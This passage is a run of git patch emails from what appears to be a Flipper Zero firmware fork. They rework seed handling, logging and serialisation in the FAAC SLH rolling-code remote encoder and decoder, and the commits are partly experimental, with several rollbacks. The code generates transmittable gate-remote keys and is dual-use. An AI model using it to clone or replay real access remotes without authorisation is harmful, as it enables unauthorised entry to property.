+++++++---- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 4e8361ef1..ad9aa8982 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -53,7 +53,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); - FURI_LOG_I(TAG, "SEED (set_type): %8X\n", seed); + FURI_LOG_I(TAG, "SEED (set_seed_on_event): %8X\n", seed); generated_protocol = true; } else { generated_protocol = false; @@ -82,7 +82,7 @@ void subghz_scene_set_seed_on_exit(void* context) { SubGhz* subghz = context; uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; - FURI_LOG_I(TAG, "seed: %8X\n", seed); + FURI_LOG_I(TAG, "SEED (set_seed_on_exit): %8X\n", seed); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index fc846bdcf..f4e10b86b 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -87,7 +87,8 @@ const SubGhzProtocol subghz_protocol_faac_slh = { static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, - const char** manufacture_name); + const char** manufacture_name, + uint32_t seed); void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment) { SubGhzProtocolEncoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolEncoderFaacSLH)); @@ -247,7 +248,7 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* } subghz_protocol_faac_slh_check_remote_controller( - &instance->generic, instance->keystore, &instance->manufacture_name); + &instance->generic, instance->keystore, &instance->manufacture_name, instance->generic.seed); //optional parameter parameter flipper_format_read_uint32( @@ -398,9 +399,11 @@ void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t d static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, - const char** manufacture_name) { + const char** manufacture_name, + uint32_t seed) { //uint64_t code_found_reverse = //subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit); + instance->seed = seed; uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; instance->serial = code_fix >> 4; @@ -462,7 +465,7 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) { furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; - subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name); + subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name, instance->generic.seed); //uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key( //instance->generic.data, instance->generic.data_count_bit); uint32_t code_fix = instance->generic.data >> 32; From 6184d47873ad5b2c23a8f25a3cda1fe9ce783b2f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 25 Apr 2022 23:12:37 +0300 Subject: [PATCH 120/461] Update nice_flor_s.c try new encoder --- lib/subghz/protocols/nice_flor_s.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index fd228a149..502349028 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -155,7 +155,7 @@ static void //Send header instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 34); + level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 38); //Send start bit instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); From 5af52ae673b121a248472b8811a0a5b7b053e931 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 25 Apr 2022 23:26:25 +0300 Subject: [PATCH 121/461] Update nice_flor_s.c rollback --- lib/subghz/protocols/nice_flor_s.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 502349028..fd228a149 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -155,7 +155,7 @@ static void //Send header instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 38); + level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 34); //Send start bit instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); From 137ea15f12fc347a9fa69f04a2f9ccdedc18f6dc Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 01:28:44 +0300 Subject: [PATCH 122/461] Update faac_slh.c pointers --- lib/subghz/protocols/faac_slh.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index f4e10b86b..63a53e24c 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -88,7 +88,7 @@ static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, const char** manufacture_name, - uint32_t seed); + uint32_t* seed); void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment) { SubGhzProtocolEncoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolEncoderFaacSLH)); @@ -248,7 +248,7 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* } subghz_protocol_faac_slh_check_remote_controller( - &instance->generic, instance->keystore, &instance->manufacture_name, instance->generic.seed); + &instance->generic, instance->keystore, &instance->manufacture_name, &instance->generic.seed); //optional parameter parameter flipper_format_read_uint32( @@ -400,10 +400,11 @@ static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, const char** manufacture_name, - uint32_t seed) { + uint32_t* seed) { //uint64_t code_found_reverse = //subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit); - instance->seed = seed; + instance->seed = *seed; + FURI_LOG_I(TAG, "SEED (decrypt init): %8X\n", instance->seed); uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; instance->serial = code_fix >> 4; @@ -465,7 +466,7 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) { furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; - subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name, instance->generic.seed); + subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name, &instance->generic.seed); //uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key( //instance->generic.data, instance->generic.data_count_bit); uint32_t code_fix = instance->generic.data >> 32; From e4be95ea80d4f8cea562d62067dea1f25b35880c Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 08:48:57 +0300 Subject: [PATCH 123/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 63a53e24c..b8d68d414 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -83,6 +83,7 @@ const SubGhzProtocol subghz_protocol_faac_slh = { * @param instance Pointer to a SubGhzBlockGeneric* instance * @param keystore Pointer to a SubGhzKeystore* instance * @param manufacture_name + * @param seed Seed 32bit */ static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, @@ -183,8 +184,8 @@ bool subghz_protocol_faac_slh_create_data( bool res = subghz_protocol_faac_slh_gen_data(instance, instance->generic.seed); FURI_LOG_I(TAG, "SEED: %8X\n", instance->generic.seed); if(res) { - res = - subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name, &instance->generic.seed); + res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); } return res; } From 5ae4b16a38e2cb2a1e2df2d2c4d3d3dfaeb40862 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 08:52:25 +0300 Subject: [PATCH 124/461] Update faac_slh.c more info --- lib/subghz/protocols/faac_slh.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index b8d68d414..369b14294 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -182,7 +182,7 @@ bool subghz_protocol_faac_slh_create_data( instance->manufacture_name = manufacture_name; instance->generic.data_count_bit = 64; bool res = subghz_protocol_faac_slh_gen_data(instance, instance->generic.seed); - FURI_LOG_I(TAG, "SEED: %8X\n", instance->generic.seed); + FURI_LOG_I(TAG, "SEED (create_data): %8X\n", instance->generic.seed); if(res) { subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name, &instance->generic.seed); res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); From 6bc0e05178380eef80eca8b648ab2c05edc7aa7f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 09:33:40 +0300 Subject: [PATCH 125/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 369b14294..bd05f413b 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -89,7 +89,7 @@ static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, const char** manufacture_name, - uint32_t* seed); + uint32_t seed); void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment) { SubGhzProtocolEncoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolEncoderFaacSLH)); @@ -184,7 +184,7 @@ bool subghz_protocol_faac_slh_create_data( bool res = subghz_protocol_faac_slh_gen_data(instance, instance->generic.seed); FURI_LOG_I(TAG, "SEED (create_data): %8X\n", instance->generic.seed); if(res) { - subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name, &instance->generic.seed); + subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name, instance->generic.seed); res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); } return res; @@ -249,7 +249,7 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* } subghz_protocol_faac_slh_check_remote_controller( - &instance->generic, instance->keystore, &instance->manufacture_name, &instance->generic.seed); + &instance->generic, instance->keystore, &instance->manufacture_name, instance->generic.seed); //optional parameter parameter flipper_format_read_uint32( @@ -401,10 +401,10 @@ static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, const char** manufacture_name, - uint32_t* seed) { + uint32_t seed) { //uint64_t code_found_reverse = //subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit); - instance->seed = *seed; + instance->seed = seed; FURI_LOG_I(TAG, "SEED (decrypt init): %8X\n", instance->seed); uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; @@ -467,7 +467,7 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) { furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; - subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name, &instance->generic.seed); + subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name, instance->generic.seed); //uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key( //instance->generic.data, instance->generic.data_count_bit); uint32_t code_fix = instance->generic.data >> 32; From 814e338cfe04432d791dea52c71576d23a600063 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 12:38:21 +0300 Subject: [PATCH 126/461] Update faac_slh.c simplify a little --- lib/subghz/protocols/faac_slh.c | 21 +++++++-------------- 1 file changed, 7 insertions(+), 14 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index bd05f413b..a138d1282 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -88,8 +88,7 @@ const SubGhzProtocol subghz_protocol_faac_slh = { static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, - const char** manufacture_name, - uint32_t seed); + const char** manufacture_name); void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment) { SubGhzProtocolEncoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolEncoderFaacSLH)); @@ -112,9 +111,8 @@ void subghz_protocol_encoder_faac_slh_free(void* context) { free(instance); } -static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance, uint32_t seed) { +static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance) { instance->generic.cnt++; - instance->generic.seed = seed; FURI_LOG_I(TAG, "SEED (gen_data): %8X\n", instance->generic.seed); uint32_t fix = instance->generic.serial << 4 | instance->generic.btn; uint32_t hop = 0; @@ -181,10 +179,9 @@ bool subghz_protocol_faac_slh_create_data( instance->generic.seed = seed; instance->manufacture_name = manufacture_name; instance->generic.data_count_bit = 64; - bool res = subghz_protocol_faac_slh_gen_data(instance, instance->generic.seed); + bool res = subghz_protocol_faac_slh_gen_data(instance); FURI_LOG_I(TAG, "SEED (create_data): %8X\n", instance->generic.seed); if(res) { - subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name, instance->generic.seed); res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); } return res; @@ -199,7 +196,7 @@ static bool subghz_protocol_encoder_faac_slh_get_upload(SubGhzProtocolEncoderFaacSLH* instance) { furi_assert(instance); - subghz_protocol_faac_slh_gen_data(instance, instance->generic.seed); + subghz_protocol_faac_slh_gen_data(instance); size_t index = 0; size_t size_upload = 2 + (instance->generic.data_count_bit * 2); if(size_upload > instance->encoder.size_upload) { @@ -249,7 +246,7 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* } subghz_protocol_faac_slh_check_remote_controller( - &instance->generic, instance->keystore, &instance->manufacture_name, instance->generic.seed); + &instance->generic, instance->keystore, &instance->manufacture_name); //optional parameter parameter flipper_format_read_uint32( @@ -400,11 +397,7 @@ void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t d static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, - const char** manufacture_name, - uint32_t seed) { - //uint64_t code_found_reverse = - //subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit); - instance->seed = seed; + const char** manufacture_name) { FURI_LOG_I(TAG, "SEED (decrypt init): %8X\n", instance->seed); uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; @@ -467,7 +460,7 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) { furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; - subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name, instance->generic.seed); + subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name); //uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key( //instance->generic.data, instance->generic.data_count_bit); uint32_t code_fix = instance->generic.data >> 32; From 6b3faefcca96e39415ce7ed0c60460e9017e5979 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 14:21:52 +0300 Subject: [PATCH 127/461] Seed to FAAC_SLH decoder --- applications/subghz/scenes/subghz_scene_set_seed.c | 1 + lib/subghz/protocols/faac_slh.c | 4 ++++ lib/subghz/protocols/faac_slh.h | 2 ++ 3 files changed, 7 insertions(+) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index ad9aa8982..cc470748a 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -44,6 +44,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); if(subghz->txrx->transmitter) { subghz_protocol_faac_slh_create_data( + subghz->txrx->transmitter->protocol_instance, subghz->txrx->transmitter->protocol_instance, subghz->txrx->fff_data, fix_part >> 4, diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index a138d1282..b89dd7885 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -163,6 +163,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst bool subghz_protocol_faac_slh_create_data( void* context, + void* context2, FlipperFormat* flipper_format, uint32_t serial, uint8_t btn, @@ -172,11 +173,14 @@ bool subghz_protocol_faac_slh_create_data( uint32_t frequency, FuriHalSubGhzPreset preset) { furi_assert(context); + furi_assert(context2); SubGhzProtocolEncoderFaacSLH* instance = context; + SubGhzProtocolDecoderFaacSLH* instance2 = context2; instance->generic.serial = serial; instance->generic.btn = btn; instance->generic.cnt = cnt; instance->generic.seed = seed; + instance2->generic.seed = instance->generic.seed; instance->manufacture_name = manufacture_name; instance->generic.data_count_bit = 64; bool res = subghz_protocol_faac_slh_gen_data(instance); diff --git a/lib/subghz/protocols/faac_slh.h b/lib/subghz/protocols/faac_slh.h index 288892191..19635c986 100644 --- a/lib/subghz/protocols/faac_slh.h +++ b/lib/subghz/protocols/faac_slh.h @@ -27,6 +27,7 @@ void subghz_protocol_encoder_faac_slh_free(void* context); /** * Key generation from simple data. * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance + * @param context2 Pointer to a SubGhzProtocolDecoderFaacSLH instance * @param flipper_format Pointer to a FlipperFormat instance * @param serial Serial number, 28 bit * @param btn Button number, 4 bit @@ -39,6 +40,7 @@ void subghz_protocol_encoder_faac_slh_free(void* context); */ bool subghz_protocol_faac_slh_create_data( void* context, + void* context2, FlipperFormat* flipper_format, uint32_t serial, uint8_t btn, From 941ff162e823bc24f5584f3f98761c6811324d9b Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 14:45:34 +0300 Subject: [PATCH 128/461] rollback --- applications/subghz/scenes/subghz_scene_set_seed.c | 1 - lib/subghz/protocols/faac_slh.c | 8 +------- lib/subghz/protocols/faac_slh.h | 2 -- 3 files changed, 1 insertion(+), 10 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index cc470748a..ad9aa8982 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -44,7 +44,6 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); if(subghz->txrx->transmitter) { subghz_protocol_faac_slh_create_data( - subghz->txrx->transmitter->protocol_instance, subghz->txrx->transmitter->protocol_instance, subghz->txrx->fff_data, fix_part >> 4, diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index b89dd7885..5b1135e8c 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -83,7 +83,6 @@ const SubGhzProtocol subghz_protocol_faac_slh = { * @param instance Pointer to a SubGhzBlockGeneric* instance * @param keystore Pointer to a SubGhzKeystore* instance * @param manufacture_name - * @param seed Seed 32bit */ static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, @@ -163,7 +162,6 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst bool subghz_protocol_faac_slh_create_data( void* context, - void* context2, FlipperFormat* flipper_format, uint32_t serial, uint8_t btn, @@ -173,14 +171,11 @@ bool subghz_protocol_faac_slh_create_data( uint32_t frequency, FuriHalSubGhzPreset preset) { furi_assert(context); - furi_assert(context2); SubGhzProtocolEncoderFaacSLH* instance = context; - SubGhzProtocolDecoderFaacSLH* instance2 = context2; instance->generic.serial = serial; instance->generic.btn = btn; instance->generic.cnt = cnt; instance->generic.seed = seed; - instance2->generic.seed = instance->generic.seed; instance->manufacture_name = manufacture_name; instance->generic.data_count_bit = 64; bool res = subghz_protocol_faac_slh_gen_data(instance); @@ -402,6 +397,7 @@ static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, const char** manufacture_name) { + FURI_LOG_I(TAG, "SEED (decrypt init): %8X\n", instance->seed); uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; @@ -465,8 +461,6 @@ void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name); - //uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key( - //instance->generic.data, instance->generic.data_count_bit); uint32_t code_fix = instance->generic.data >> 32; uint32_t code_hop = instance->generic.data & 0xFFFFFFFF; diff --git a/lib/subghz/protocols/faac_slh.h b/lib/subghz/protocols/faac_slh.h index 19635c986..288892191 100644 --- a/lib/subghz/protocols/faac_slh.h +++ b/lib/subghz/protocols/faac_slh.h @@ -27,7 +27,6 @@ void subghz_protocol_encoder_faac_slh_free(void* context); /** * Key generation from simple data. * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance - * @param context2 Pointer to a SubGhzProtocolDecoderFaacSLH instance * @param flipper_format Pointer to a FlipperFormat instance * @param serial Serial number, 28 bit * @param btn Button number, 4 bit @@ -40,7 +39,6 @@ void subghz_protocol_encoder_faac_slh_free(void* context); */ bool subghz_protocol_faac_slh_create_data( void* context, - void* context2, FlipperFormat* flipper_format, uint32_t serial, uint8_t btn, From d7e9ea52145c438cce09124ec3f094cba641c0b2 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 17:43:20 +0300 Subject: [PATCH 129/461] + --- applications/subghz/scenes/subghz_scene_set_seed.c | 1 + lib/subghz/protocols/faac_slh.c | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index ad9aa8982..03165c80b 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -53,6 +53,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); + flipper_format_update_uint32(subghz->txrx->fff_data, "SEED", (uint32_t*)&seed, 4); FURI_LOG_I(TAG, "SEED (set_seed_on_event): %8X\n", seed); generated_protocol = true; } else { diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 5b1135e8c..9ddbc2f01 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -239,7 +239,7 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Deserialize error"); break; } - if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->generic.seed, 1)) { + if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->generic.seed, 4)) { FURI_LOG_E(TAG, "Missing SEED"); break; } @@ -444,7 +444,7 @@ bool subghz_protocol_decoder_faac_slh_serialize( furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - if(res && !flipper_format_write_uint32(flipper_format, "SEED", &instance->generic.seed, 1)) { + if(res && !flipper_format_write_uint32(flipper_format, "SEED", &instance->generic.seed, 4)) { FURI_LOG_E(TAG, "Unable to add SEED"); res = false; } From e1f4025d98c7eae5f2af3abeaf9c4b8962aa2bba Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 18:02:02 +0300 Subject: [PATCH 130/461] Update subghz_scene_set_seed.c --- applications/subghz/scenes/subghz_scene_set_seed.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 03165c80b..79eb43d33 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -42,7 +42,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { FURI_LOG_I(TAG, "seed: %8X", seed); subghz->txrx->transmitter = subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); - if(subghz->txrx->transmitter) { + if(subghz->txrx->transmitter && flipper_format_update_uint32(subghz->txrx->fff_data, "SEED", (uint32_t*)&seed, 4)) { subghz_protocol_faac_slh_create_data( subghz->txrx->transmitter->protocol_instance, subghz->txrx->fff_data, @@ -53,7 +53,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); - flipper_format_update_uint32(subghz->txrx->fff_data, "SEED", (uint32_t*)&seed, 4); + FURI_LOG_I(TAG, "SEED (set_seed_on_event): %8X\n", seed); generated_protocol = true; } else { From 5e58b19b2c1c95927fd9e06793292bbcb70b3ef4 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 18:13:09 +0300 Subject: [PATCH 131/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 9ddbc2f01..726891500 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -454,7 +454,24 @@ bool subghz_protocol_decoder_faac_slh_serialize( bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format) { furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; - return subghz_block_generic_deserialize(&instance->generic, flipper_format); + bool res = false; + do { + if(!subghz_block_generic_deserialize(&instance->generic, flipper_format)) { + FURI_LOG_E(TAG, "Deserialize error"); + break; + } + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } + if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->generic.seed, 1)) { + FURI_LOG_E(TAG, "Missing SEED"); + break; + } + res = true; + } while(false); + + return res; } void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) { From 1f5eb0df35b779e4f4e65c376eb9dc59a5d31ff4 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 18:30:45 +0300 Subject: [PATCH 132/461] Update subghz_scene_set_seed.c --- applications/subghz/scenes/subghz_scene_set_seed.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 79eb43d33..288edac4c 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -42,7 +42,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { FURI_LOG_I(TAG, "seed: %8X", seed); subghz->txrx->transmitter = subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); - if(subghz->txrx->transmitter && flipper_format_update_uint32(subghz->txrx->fff_data, "SEED", (uint32_t*)&seed, 4)) { + if(subghz->txrx->transmitter) { subghz_protocol_faac_slh_create_data( subghz->txrx->transmitter->protocol_instance, subghz->txrx->fff_data, @@ -53,7 +53,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); - + flipper_format_write_uint32(subghz->txrx->fff_data, "SEED", (uint32_t*)&seed, 4); FURI_LOG_I(TAG, "SEED (set_seed_on_event): %8X\n", seed); generated_protocol = true; } else { From a12770a026a22f4e3abe659237a3caa74e3b2ea1 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 18:57:49 +0300 